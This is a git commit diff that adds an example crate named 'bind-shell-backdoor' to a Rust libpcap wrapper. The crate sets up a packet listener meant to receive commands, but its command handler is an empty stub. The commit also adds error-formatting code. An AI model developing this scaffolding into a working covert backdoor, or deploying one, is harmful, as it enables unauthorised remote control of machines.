feat: added a pcap listener to parse commands

This commit is contained in:
Andrew Rioux 2023-04-28 15:42:21 -04:00
parent bac3e56f3c
commit e0c7e1c240
5 changed files with 149 additions and 2 deletions

44
Cargo.lock generated
View File

@ -2,12 +2,34 @@
# It is not intended for manual editing.
version = 3
[[package]]
name = "anyhow"
version = "1.0.70"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "7de8ce5e0f9f8d88245311066a578d72b7af3e7088f32783804676302df237e4"
[[package]]
name = "autocfg"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
[[package]]
name = "bind-shell-backdoor"
version = "0.1.0"
dependencies = [
"anyhow",
"pcap-sys",
"tokio",
"tokio-stream",
]
[[package]]
name = "bytes"
version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be"
[[package]]
name = "cc"
version = "1.0.79"
@ -232,6 +254,15 @@ dependencies = [
"proc-macro2",
]
[[package]]
name = "signal-hook-registry"
version = "1.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1"
dependencies = [
"libc",
]
[[package]]
name = "slab"
version = "0.4.8"
@ -269,10 +300,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c3c786bf8134e5a3a166db9b29ab8f48134739014a3eca7bc6bfa95d673b136f"
dependencies = [
"autocfg",
"bytes",
"libc",
"mio",
"num_cpus",
"pin-project-lite",
"signal-hook-registry",
"socket2",
"tokio-macros",
"windows-sys 0.48.0",
@ -289,6 +322,17 @@ dependencies = [
"syn",
]
[[package]]
name = "tokio-stream"
version = "0.1.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842"
dependencies = [
"futures-core",
"pin-project-lite",
"tokio",
]
[[package]]
name = "unicode-ident"
version = "1.0.8"

View File

@ -1,5 +1,5 @@
[workspace]
members = ["pcap-sys"]
members = ["pcap-sys", "examples/bind-shell-backdoor"]
[profile.release]
strip = true

View File

@ -0,0 +1,12 @@
[package]
name = "bind-shell-backdoor"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] }
pcap-sys = { path = "../../pcap-sys" }
anyhow = "1.0.70"
tokio-stream = "0.1.14"

View File

@ -0,0 +1,61 @@
use tokio::{self, sync::mpsc};
use tokio_stream::StreamExt;
use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{anyhow, bail};
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth"))
.ok_or(anyhow!("Could not get an ethernet interface"))?;
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let interface = interface.activate()?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet")
}
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket)
}
let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send)
} {
match evt {
EventType::Packet(pkt) => {
if let Ok(pkt) = pkt {
tokio::spawn(handle_command(pkt, packet_sender.clone()));
}
}
EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?;
}
}
}
Ok(())
}
async fn handle_command(
command: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>
) -> anyhow::Result<()> {
Ok(())
}

View File

@ -16,7 +16,7 @@
use errno::Errno;
use std::{
convert::From,
ffi::{self, CStr, CString},
ffi::{self, CStr, CString}, fmt::Display, error,
};
#[derive(Debug)]
@ -32,6 +32,36 @@ pub enum Error {
pub type Result<T> = std::result::Result<T, Error>;
impl Display for Error {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
Error::PcapError(err) => {
if let Ok(err_str) = std::str::from_utf8(err.as_bytes()) {
return write!(f, "pcap error: {err_str}");
}
write!(f, "unknown pcap error")
},
Error::StringParse => write!(f, "unable to parse a string from pcap"),
Error::UnknownPacketType(ptype) => write!(f, "unknown packet type ({ptype})"),
Error::PacketLengthInvalid => write!(f, "received a packet with a length that mismatched the header"),
Error::InvalidPcapFd => write!(f, "internal pcap file descriptor error"),
Error::Io(io) => write!(f, "std::io error ({io})"),
Error::Libc(err) => write!(f, "libc error ({err})"),
}
}
}
impl error::Error for Error {
fn source(&self) -> Option<&(dyn error::Error + 'static)> {
match self {
Error::Io(err) => Some(err),
Error::Libc(err) => Some(err),
_ => None
}
}
}
impl From<&[i8; 256]> for Error {
fn from(buf: &[i8; 256]) -> Error {
match CString::new(